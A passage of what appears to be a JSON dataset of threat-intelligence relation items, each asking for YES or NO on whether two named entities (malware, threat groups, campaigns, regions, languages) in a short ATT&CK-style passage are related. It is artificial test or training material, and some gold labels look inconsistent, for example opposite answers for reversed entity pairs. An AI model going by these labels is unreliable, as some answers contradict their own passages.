relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPython\n### Target Entity: IronPython\n### Text Passage:\nIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBumblebee\n### Target Entity: C++\n### Text Passage:\nBumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMountlocker\n### Target Entity: C++\n### Text Passage:\nBumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation GhostSecret\n### Target Entity: Proxysvc\n### Text Passage:\nProxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: Proxysvc\n### Text Passage:\nProxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNanoCore\n### Target Entity: .NET\n### Text Passage:\nNanoCore is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0032\n### Target Entity: Triton\n### Text Passage:\nC0032 was an extended campaign suspected to involve the Triton adversaries with related capabilities and techniques focused on gaining a foothold within IT environments. This campaign occurred in 2019 and was distinctly different from the Triton Safety Instrumented System Attack.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTriton Safety Instrumented System Attack\n### Target Entity: Triton\n### Text Passage:\nC0032 was an extended campaign suspected to involve the Triton adversaries with related capabilities and techniques focused on gaining a foothold within IT environments. This campaign occurred in 2019 and was distinctly different from the Triton Safety Instrumented System Attack.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBonadan\n### Target Entity: C2\n### Text Passage:\nBonadan can XOR-encrypt C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n/Users/Shared/.local/kextd\n### Target Entity: Komplex\n### Text Passage:\nThe Komplex payload is stored in a hidden directory at /Users/Shared/.local/kextd.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: North Korean\n### Text Passage:\nLazarus Group is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nReconnaissance General Bureau\n### Target Entity: North Korean\n### Text Passage:\nLazarus Group is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDownPaper\n### Target Entity: PowerShell\n### Text Passage:\nDownPaper uses PowerShell for execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStealth Mango\n### Target Entity: Android\n### Text Passage:\nStealth Mango is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as Tangelo is believed to be from the same developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTangelo\n### Target Entity: iOS\n### Text Passage:\nStealth Mango is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as Tangelo is believed to be from the same developer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEventBot\n### Target Entity: Android\n### Text Passage:\nEventBot is an Android banking trojan and information stealer that abuses Android\u2019s accessibility service to steal data from various applications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkTortilla\n### Target Entity: .NET\n### Text Passage:\nDarkTortilla is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. DarkTortilla has been used to deliver popular information stealers, RATs, and payloads such as Agent Tesla, AsyncRat, NanoCore, RedLine, Cobalt Strike, and Metasploit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN4\n### Target Entity: Microsoft Outlook\n### Text Passage:\nFIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \u201chacked,\" \"phish,\" and \u201cmalware\" in a likely attempt to prevent organizations from communicating about their activities.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA2722\n### Target Entity: North America\n### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA2722\n### Target Entity: Europe\n### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA2722\n### Target Entity: Southeast Asia\n### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA2722\n### Target Entity: Remcos\n### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA2722\n### Target Entity: NanoCore\n### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNorth America\n### Target Entity: Southeast Asia\n### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSowbug\n### Target Entity: Felismus\n### Text Passage:\nFelismus is a modular backdoor that has been used by Sowbug. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDealersChoice\n### Target Entity: Flash\n### Text Passage:\nDealersChoice leverages vulnerable versions of Flash to perform execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFunnyDream\n### Target Entity: PcShare\n### Text Passage:\nPcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPcShare\n### Target Entity: Chinese\n### Text Passage:\nPcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRogueRobin\n### Target Entity: Windows\n### Text Passage:\nRogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRogueRobin\n### Target Entity: PowerShell\n### Text Passage:\nRogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: RogueRobin\n### Text Passage:\nRogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrojan.Karagany\n### Target Entity: Dream Loader\n### Text Passage:\nTrojan.Karagany is a modular remote access tool used for recon and linked to Dragonfly and Dragonfly 2.0. The source code for Trojan.Karagany originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSombRAT\n### Target Entity: C++\n### Text Passage:\nSombRAT is a modular backdoor written in C++ that has been in use since at least 2019. SombRAT has been used to download and execute malicious payloads, including FIVEHANDS ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSombRAT\n### Target Entity: FIVEHANDS\n### Text Passage:\nSombRAT is a modular backdoor written in C++ that has been in use since at least 2019. SombRAT has been used to download and execute malicious payloads, including FIVEHANDS ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIVEHANDS\n### Target Entity: C++\n### Text Passage:\nSombRAT is a modular backdoor written in C++ that has been in use since at least 2019. SombRAT has been used to download and execute malicious payloads, including FIVEHANDS ransomware.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0015\n### Target Entity: Bazar\n### Text Passage:\nC0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0015\n### Target Entity: Cobalt Strike\n### Text Passage:\nC0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0015\n### Target Entity: Conti\n### Text Passage:\nC0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nConti\n### Target Entity: C0015\n### Text Passage:\nC0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNet Crawler\n### Target Entity: PsExec\n### Text Passage:\nNet Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMelcoz\n### Target Entity: VBS\n### Text Passage:\nMelcoz can use VBS scripts to execute malicious DLLs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHildegard\n### Target Entity: xmrig\n### Text Passage:\nHildegard has used xmrig to mine cryptocurrency.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation CuckooBees\n### Target Entity: East Asia\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation CuckooBees\n### Target Entity: Western Europe\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation CuckooBees\n### Target Entity: North America\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation CuckooBees\n### Target Entity: Winnti Group\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation CuckooBees\n### Target Entity: APT41\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation CuckooBees\n### Target Entity: BARIUM\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBARIUM\n### Target Entity: APT41\n### Text Passage:\nOperation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKasidet\n### Target Entity: cmd.exe\n### Text Passage:\nKasidet can execute commands using cmd.exe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKinsing\n### Target Entity: Bitcoin\n### Text Passage:\nKinsing has created and run a Bitcoin cryptocurrency miner.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndrik Spider\n### Target Entity: WastedLocker\n### Text Passage:\nWastedLocker is a ransomware family attributed to Indrik Spider that has been used since at least May 2020. WastedLocker has been used against a broad variety of sectors, including manufacturing, information technology, and media.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOctopus\n### Target Entity: Windows\n### Text Passage:\nOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOctopus\n### Target Entity: Delphi\n### Text Passage:\nOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNomadic Octopus\n### Target Entity: Octopus\n### Text Passage:\nOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOctopus\n### Target Entity: Central Asia\n### Text Passage:\nOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDelphi\n### Target Entity: Nomadic Octopus\n### Text Passage:\nOctopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source 